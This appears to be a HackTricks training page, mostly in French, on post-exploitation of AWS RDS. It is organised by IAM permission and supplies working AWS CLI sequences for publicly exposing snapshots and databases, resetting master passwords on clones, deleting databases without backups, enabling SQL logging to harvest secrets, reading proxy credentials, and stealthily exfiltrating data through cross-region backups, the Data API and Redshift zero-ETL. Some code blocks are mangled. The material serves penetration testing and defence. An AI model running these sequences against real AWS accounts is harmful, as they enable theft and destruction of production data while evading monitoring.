Files

32 KiB
Raw Blame History

AWS - RDS Post-Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

RDS

Pour plus d'informations, consultez :

{{#ref}} ../../aws-services/aws-relational-database-rds-enum.md {{#endref}}

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l'attaquant dispose de permissions suffisantes, il peut rendre une DB accessible publiquement en créant un snapshot de la DB, puis une DB accessible publiquement à partir du snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant l'indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui dépendent de la base de données.

Pour arrêter une seule instance de base de données (exemple) :

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Pour arrêter un cluster DB entier (exemple):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Delete*

Un attaquant auquel on octroie rds:Delete* peut supprimer des ressources RDS — supprimer DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups et autres artefacts associés — entraînant une coupure de service immédiate, une perte de données, la destruction des recovery points et la perte de preuves médico-légales.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant disposant de ces permissions pourrait créer un snapshot d'une DB et le rendre publiquement accessible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.

Si l'attaquant n'a pas le rds:CreateDBSnapshot, il peut toutefois rendre publics d'autres snapshots créés.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaquant disposant de l'autorisation rds:DownloadDBLogFilePortion peut télécharger des portions des fichiers journaux d'une instance RDS. Si des données sensibles ou des identifiants d'accès sont enregistrés par inadvertance, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potential Impact: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials.

rds:DeleteDBInstance

Un attaquant disposant de ces autorisations peut DoS des instances RDS existantes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impact potentiel: Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

Note

TODO : Tester

Un attaquant disposant de cette permission peut exporter un snapshot d'instance RDS vers un S3 bucket. Si l'attaquant contrôle le S3 bucket de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel : Accès à des données sensibles dans le snapshot exporté.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Abuse cross-Region automated backups replication pour dupliquer discrètement les automated backups d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des contrôles habituels dans une Region que les défenseurs pourraient ne pas surveiller.

Permissions requises (minimum) :

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (optional cleanup)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (to expose the restored DB)

Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.

CLI de bout en bout (remplacer les placeholders) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table

Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text) aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text) mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Activer la journalisation SQL complète via DB parameter groups et exfiltrate via RDS log APIs

Abuser `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB nécessaire). Activer la journalisation SQL du moteur et récupérer les fichiers logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.

Permissions requises (minimum) :
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise le default)
- `rds:RebootDBInstance` (pour les paramètres nécessitant un reboot, ex. PostgreSQL)

Steps
1) Recon target and current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut)
  • Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante.
  • Sinon, créez et attachez-en un correspondant à la famille du moteur :
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Activer la journalisation SQL détaillée
  • Moteurs MySQL (immédiat / sans redémarrage):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL engines (redémarrage requis):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les logs de fichiers du moteur
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Découvrir et télécharger les logs (aucun identifiant DB requis)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analyser hors ligne à la recherche de données sensibles
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Exemple de preuve (caviardée) :

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Nettoyage

  • Rétablir les paramètres par défaut et redémarrer si nécessaire :
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impact : Post-exploitation — accès aux données en capturant toutes les requêtes SQL applicatives via les AWS APIs (no DB creds), potentiellement leaking secrets, JWTs et PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Abuser des RDS read replicas pour obtenir un accès en lecture out-of-band sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le master password de la replica (cela ne modifie pas l'instance primaire), et éventuellement exposer la replica publiquement pour exfiltrer des données.

Permissions nécessaires (minimum) :

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

Impact : Accès en lecture seule aux données de production via une replica avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car l'instance primaire reste intacte et la réplication continue.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Exemple de preuves (MySQL) :

  • Statut de la DB répliquée : available, réplication en lecture : replicating
  • Connexion réussie avec le nouveau mot de passe et @@read_only=1 confirmant l'accès en lecture seule à la réplica.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Abuse RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialisez les identifiants master du green pour accéder aux données sans toucher à l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance qui se concentre uniquement sur la source.

# 1) Recon  find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup  remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impact : Lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modification de l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.

SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisant le mot de passe principal

Abuser d'Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe principal à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).

Permissions (minimum) :

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impact : contourne la segmentation réseau et exfiltre des données via les API AWS sans connectivité VPC directe au DB.

CLI de bout en bout (exemple Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"

or

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--enable-http-endpoint --apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].HttpEndpointEnabled' --output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--master-user-password 'Sup3rStr0ng!1' --apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}'
--query ARN --output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;"
--format-records-as JSON

</details>

Remarques :
- Si rds-data rejette des instructions SQL multi-énoncés, effectuez des appels execute-statement séparés.
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
- Assurez-vous que le moteur/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.


### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abusez de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez ce secret pour obtenir les identifiants de la base de données. Dans de nombreux environnements, l'autorisation étendue `secretsmanager:GetSecretValue` est accordée, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal ciblées peuvent également permettre `kms:Decrypt`.

Permissions nécessaires (minimum) :
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
- Optionnel lorsque le secret utilise une CMK : `kms:Decrypt` sur cette clé

Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou une propagation latérale supplémentaire.

Étapes
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Laboratoire (config minimale pour reproduire)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Nettoyage (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Exfiltration continue discrète via Aurora zeroETL vers Amazon Redshift (rds:CreateIntegration)

Exploiter l'intégration Aurora PostgreSQL zeroETL pour répliquer en continu les données de production dans un espace de noms Redshift Serverless que vous contrôlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi-temps réel sans identifiants DB, snapshots ni exposition réseau.

Permissions nécessaires (minimum) :

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (pour interroger)
  • rds-data:ExecuteStatement (optionnel ; pour initialiser des données si nécessaire)

Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Créer un namespace Redshift Serverless + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurer la politique de ressources Redshift pour autoriser la source Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Créer un cluster Aurora PostgreSQL (activer Data API et logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Créer l'intégration zeroETL à partir de RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Matérialiser et interroger des données répliquées dans Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Preuves observées lors du test :

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
  • SVV_INTEGRATION indiquait integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
  • Après CREATE DATABASE FROM INTEGRATION, la liste des tables a révélé le schema ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob).

Impact : exfiltration continue presque en temps réel de tables sélectionnées Aurora PostgreSQL vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de la base de données, les backups, ni l'accès réseau au cluster source.

{{#include ../../../../banners/hacktricks-training.md}}